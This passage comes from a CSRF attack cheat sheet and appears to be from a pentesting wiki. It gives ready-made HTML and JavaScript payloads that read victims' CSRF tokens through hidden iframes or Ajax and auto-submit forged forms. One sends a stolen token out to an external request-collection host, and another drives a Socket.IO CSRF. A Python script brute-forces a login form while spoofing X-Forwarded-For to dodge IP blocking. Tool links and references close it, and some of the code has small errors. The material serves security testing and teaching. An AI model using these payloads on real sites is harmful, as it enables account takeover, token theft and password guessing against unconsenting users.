    701 <script type="text/javascript">
    702   function f1() {
    703     x1 = document.getElementById("i1")
    704     x1d = x1.contentWindow || x1.contentDocument
    705     t = x1d.document.getElementById("token").value
    706 
    707     document.getElementById("token").value = t
    708     document.getElementById("form1").submit()
    709   }
    710 </script>
    711 <iframe
    712   id="i1"
    713   style="display:none"
    714   src="http://google.com?param=VALUE"
    715   onload="javascript:f1();"></iframe>
    716 ```
    717 
    718 ### **Steal CSRF Token and send a POST request using an iframe and a form**
    719 
    720 ```html
    721 <iframe
    722   id="iframe"
    723   src="http://google.com?param=VALUE"
    724   width="500"
    725   height="500"
    726   onload="read()"></iframe>
    727 
    728 <script>
    729   function read() {
    730     var name = "admin2"
    731     var token =
    732       document.getElementById("iframe").contentDocument.forms[0].token.value
    733     document.writeln(
    734       '<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
    735     )
    736     document.writeln(
    737       '<input id="username" type="text" name="username" value="' +
    738         name +
    739         '" /><br />'
    740     )
    741     document.writeln(
    742       '<input id="token" type="hidden" name="token" value="' + token + '" />'
    743     )
    744     document.writeln(
    745       '<input type="submit" name="submit" value="Submit" /><br/>'
    746     )
    747     document.writeln("</form>")
    748     document.forms[0].submit.click()
    749   }
    750 </script>
    751 ```
    752 
    753 ### **Steal token and send it using 2 iframes**
    754 
    755 ```html
    756 <script>
    757 var token;
    758 function readframe1(){
    759   token = frame1.document.getElementById("profile").token.value;
    760   document.getElementById("bypass").token.value = token
    761   loadframe2();
    762 }
    763 function loadframe2(){
    764   var test = document.getElementbyId("frame2");
    765   test.src = "http://requestb.in/1g6asbg1?token="+token;
    766 }
    767 </script>
    768 
    769 <iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
    770 sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
    771 height="600" width="800"></iframe>
    772 
    773 <iframe id="frame2" name="frame2"
    774 sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
    775 height="600" width="800"></iframe>
    776 <body onload="document.forms[0].submit()">
    777 <form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
    778   <input type="text" name="username" value="z">
    779   <input type="checkbox" name="status" checked="">
    780   <input id="token" type="hidden" name="token" value="0000" />
    781   <button type="submit">Submit</button>
    782 </form>
    783 ```
    784 
    785 ### **POSTSteal CSRF token with Ajax and send a post with a form**
    786 
    787 ```html
    788 <body onload="getData()">
    789   <form
    790     id="form"
    791     action="http://google.com?param=VALUE"
    792     method="POST"
    793     enctype="multipart/form-data">
    794     <input type="hidden" name="username" value="root" />
    795     <input type="hidden" name="status" value="on" />
    796     <input type="hidden" id="findtoken" name="token" value="" />
    797     <input type="submit" value="valider" />
    798   </form>
    799 
    800   <script>
    801     var x = new XMLHttpRequest()
    802     function getData() {
    803       x.withCredentials = true
    804       x.open("GET", "http://google.com?param=VALUE", true)
    805       x.send(null)
    806     }
    807     x.onreadystatechange = function () {
    808       if (x.readyState == XMLHttpRequest.DONE) {
    809         var token = x.responseText.match(/name="token" value="(.+)"/)[1]
    810         document.getElementById("findtoken").value = token
    811         document.getElementById("form").submit()
    812       }
    813     }
    814   </script>
    815 </body>
    816 ```
    817 
    818 ### CSRF with Socket.IO
    819 
    820 ```html
    821 <script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
    822 <script>
    823   let socket = io("http://six.jh2i.com:50022/test")
    824 
    825   const username = "admin"
    826 
    827   socket.on("connect", () => {
    828     console.log("connected!")
    829     socket.emit("join", {
    830       room: username,
    831     })
    832     socket.emit("my_room_event", {
    833       data: "!flag",
    834       room: username,
    835     })
    836   })
    837 </script>
    838 ```
    839 
    840 ## CSRF Login Brute Force
    841 
    842 The code can be used to brute-force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting):
    843 
    844 ```python
    845 import request
    846 import re
    847 import random
    848 
    849 URL = "http://10.10.10.191/admin/"
    850 PROXY = { "http": "127.0.0.1:8080"}
    851 SESSION_COOKIE_NAME = "BLUDIT-KEY"
    852 USER = "fergus"
    853 PASS_LIST="./words"
    854 
    855 def init_session():
    856     #Return CSRF + Session (cookie)
    857     r = requests.get(URL)
    858     csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
    859     csrf = csrf.group(1)
    860     session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
    861     return csrf, session_cookie
    862 
    863 def login(user, password):
    864     print(f"{user}:{password}")
    865     csrf, cookie = init_session()
    866     cookies = {SESSION_COOKIE_NAME: cookie}
    867     data = {
    868         "tokenCSRF": csrf,
    869         "username": user,
    870         "password": password,
    871         "save": ""
    872     }
    873     headers = {
    874         "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
    875     }
    876     r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
    877     if "Username or password incorrect" in r.text:
    878         return False
    879     else:
    880         print(f"FOUND {user} : {password}")
    881         return True
    882 
    883 with open(PASS_LIST, "r") as f:
    884     for line in f:
    885         login(USER, line.strip())
    886 ```
    887 
    888 ## Tools <a href="#tools" id="tools"></a>
    889 
    890 Use purpose-built tooling and hands-on labs to validate PoCs without losing browser-specific behavior.<sup>[[13]](#references)</sup>
    891 
    892 - [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
    893 - [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
    894 - [Burp Suite Professional – Generate CSRF PoCs](https://portswigger.net/burp)
    895 - [https://github.com/doyensec/eval-villain](https://github.com/doyensec/eval-villain) - Useful to instrument `fetch` / XHR sinks while hunting CSPT2CSRF in SPAs.
    896 - [https://github.com/doyensec/CSPTBurpExtension](https://github.com/doyensec/CSPTBurpExtension) - Useful to correlate client-controlled sources with later request-path sinks.
    897 
    898 ## References
    899 
    900 - [1] [PortSwigger Web Security Academy: Cross-site request forgery (CSRF)](https://portswigger.net/web-security/csrf)
    901 - [2] [PortSwigger Web Security Academy: Bypassing CSRF token validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
    902 - [3] [PortSwigger Web Security Academy: Bypassing referer-based CSRF defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
    903 - [4] [Bypass Referer Check Logic for CSRF](https://www.hahwul.com/blog/2019/bypass-referer-check-logic-for-csrf/)
    904 - [5] [VTENEXT 25.02 – A Three-Way Path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
    905 - [6] [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
    906 - [7] [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
    907 - [8] [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
    908 - [9] [Google CTF 2023 - web-vegsoda solution writeup](https://github.com/google/google-ctf/tree/main/2023/quals/web-vegsoda/solution)
    909 - [10] [Doyensec: Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery](https://blog.doyensec.com/2024/07/02/cspt2csrf.html)
    910 - [11] [Doyensec: Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
    911 - [12] [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
    912 - [13] [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/)
    913 - [14] [brycec - corCTF 2021 challenges writeup](https://brycec.me/posts/corctf_2021_challenges)
    914 - [15] [anonymousyogi - JSON CSRF: CSRF that none talks about](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)
    915 - [16] [MDN - HTTP - CORS: Simple Requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)
    916 - [17] [NASA-AMMOS AIT-GUI security advisory GHSA-p9r8-2q67-fp86](https://github.com/NASA-AMMOS/AIT-GUI/security/advisories/GHSA-p9r8-2q67-fp86)
    917 - [18] [Cycode - Unauthenticated command execution in AIT-GUI](https://cycode.com/blog/ait-gui-unauthenticated-command-execution/)
    918 - [19] [Chrome for Developers - New permission prompt for Local Network Access](https://developer.chrome.com/blog/local-network-access)